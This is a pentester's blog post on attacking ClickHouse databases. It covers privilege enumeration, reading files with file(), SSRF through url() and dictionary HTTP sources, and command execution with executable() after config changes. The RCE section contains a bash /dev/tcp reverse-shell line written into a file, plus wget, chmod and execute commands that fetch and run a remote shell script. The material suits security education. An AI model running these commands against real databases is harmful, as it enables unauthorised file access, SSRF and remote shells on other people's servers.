Pentesting a ClickHouse DB

I recently ran across an application that allowed access to a ClickHouse DB for my user. The access was allowed, so that isn’t an issue. However, when we as pentesters or bug bounty hunters get access to a DB legitimately or via SQLi, the first question that comes to mind is, “What can I do with this?”. Having not dealt with ClickHouse much, the first thing I did was search the internet for information related to pentesting a ClickHouse DB, and I did not find anything. So, I figured I’d write a bit about it.

Now, let’s say I ran across some other DB type like MySQL, MSSQL, or PostgreSQL. We all have seen them. Some of the ever popular functions are xp_cmdshell or LOAD_FILE(), or pg_read_file, or a myriad of other functions and functionality of these DBMSs that allow for file reading, command execution, SSRFs, and more.

But what can we do with a ClickHouse DB? All my searches turned up the usual stuff like “ensure you’re using TLS” and “Turn off the default user” - which are probably good rules that the DeepSeek folks should have followed. In my case, all that stuff was fine. And while not using TLS shouldn’t be a thing, it isn’t one of those hard-hitting vulnerabilities that you’d like to exploit during a pentest or bug bounty hunt.

But anyway, here are some starters for anybody that happens upon a ClickHouse DB during bug bounty hunting or penetration testing. Disclaimer: I’m not a ClickHouse expert, so the information below is definitely incomplete and potentially wrong. Test at your own risk.

All my examples in this post were performed on a self-hosted ClickHouse instance. If you want to follow along, you can use a local Docker container. Run it with this command:

docker run -d --name clickhouse -p 8123:8123 -p 9000:9000 -p 9009:9009 clickhouse/clickhouse-server

To get a shell in it:

docker exec -it clickhouse bash

And to run the clickhouse-client that allows us to run commands we do the following:

docker exec -it clickhouse clickhouse-client

whoami

So, let’s get down to it. First we need to see who we are what we can do:

SHOW GRANTS;

SELECT user();

SELECT * FROM system.roles;
SELECT * FROM system.grants WHERE user = currentUser();

You can use those in a real-world scenario to find out more about what you can do. But here are the meat and potatoes.

Reading Files

Let’s try and read some files. Interestingly (and perhaps unfortunately for me), a basic user is limited to what files they can read, as we get this error when trying to read /etc/passwd.

SELECT * FROM file('/etc/passwd', 'TSV');

Code: 291. DB::Exception: Received from localhost:9000. DB::Exception: File `/etc/passwd` is not inside `/var/lib/clickhouse/user_files`. (DATABASE_ACCESS_DENIED)

Looks like we can only read from /var/lib/clickhouse/user_files. It turns out that the default settings of a ClickHouse DB don’t allow complete file system file reads. However, the settings aren’t always default, as we know. The settings are located here, in my instance:

/etc/clickhouse-server/config.xml

In this config.xml we can change the value of the <user_files_path> line to / allow full file access for users.

Then try your file read again, and it should work.

Moral of the story, try it and see what you can do.

SSRFs

How about some SSRFs? This is the basic command:

SELECT * FROM url('https://pizzapower.org', 'TSV');

However, during the course of my activities, I came to the conclusion that my user was very locked down. I exhausted all the options above, but I did come across a limited SSRF with ClickHouse dictionaries. A dictionary in ClickHouse is in-memory data structure used for fast key-value lookups. Notably these dictionaries can have various sources and among these sources are some interesting items such as files, other databases, executables, and HTTP.

As it turns out, the url functionality when creating a dictionary is controlled by a different user setting than the url command we just ran. So if you’re user has the ability to create dictionaries and use the dictGet function, you can do a little something, at least.

Let’s create a dictionary:

CREATE DICTIONARY remote_dict
(
    id UInt64,
    pizza String
)
PRIMARY KEY id
SOURCE(HTTP(url 'http://pizzapower.org/' format 'TSV'))
LAYOUT(FLAT())
LIFETIME(MIN 60 MAX 120);

And then call it:

SELECT dictGet('remote_dict', 'pizza', toUInt64(1)) AS pizza_name;

Unfortunately we don’t get a full response of the page, but we do get some partial information (disregard system prompt, etc is the actual page at pizzapower.org).

There are some other interesting sources for dictionaries, which seemingly work in the same way - Dictionary Sources, including executables.

Remote Code Execution

There is another setting in this config.xml file we can add/change (my default docker instance was missing it, I think), and that is

    <!-- Directory with user scripts-->
    <user_scripts_path>/</user_scripts_path>

After this change, we can run arbitrary binaries on the instance, with what I found are some caveats:

SELECT * FROM executable('/usr/bin/pwd', 'TSV', 'line String')

It seems that this way of running code does not like some characters such as shell metacharacters, ", and potentially others. Additionally, you must use the full path to binaries that you call.

To get a shell, I’ve found it’s just easiest to write to a file:

INSERT INTO TABLE FUNCTION file('shell.sh', 'TSV')
SELECT line FROM (
  SELECT 1 AS ord, '#!/bin/bash' AS line
  UNION ALL
  SELECT 2, '/bin/bash -i >& /dev/tcp/{listener IP}/{listener port} 0>&1'
)
ORDER BY ord;

Or, download a shell from somewhere:

SELECT * FROM executable('/usr/bin/wget https://pizzapower.org/shell.sh', 'TSV','line String');

Then, make your shell executable (change your path if you manually wrote the file):

SELECT * FROM executable('/usr/bin/chmod +x /var/lib/clickhouse/shell.sh', 'TSV','line String');

Then, execute your script (don’t forget to change it to your path):

SELECT * FROM executable('/var/lib/clickhouse/shell.sh', 'TSV','line String');

AI, sqlmap, and More to Come (mtc)

Comically, when writing this post and doing bug bounty hunting, all AI tools just fabricated complete nonsense e.g. making up functions that don’t exist with names that aren’t on the internet anywhere. It also said sqlmap doesn’t support ClickHouse, but it does.

Anyway, there are some other interesting features of ClickHouse, and surely some more nuances to things I’ve written above. I may eventually write another post. Stay tuned.

Here are some links related to ClickHouse security:

Wiz Securing Clickhouse Altinity Security ClickHouse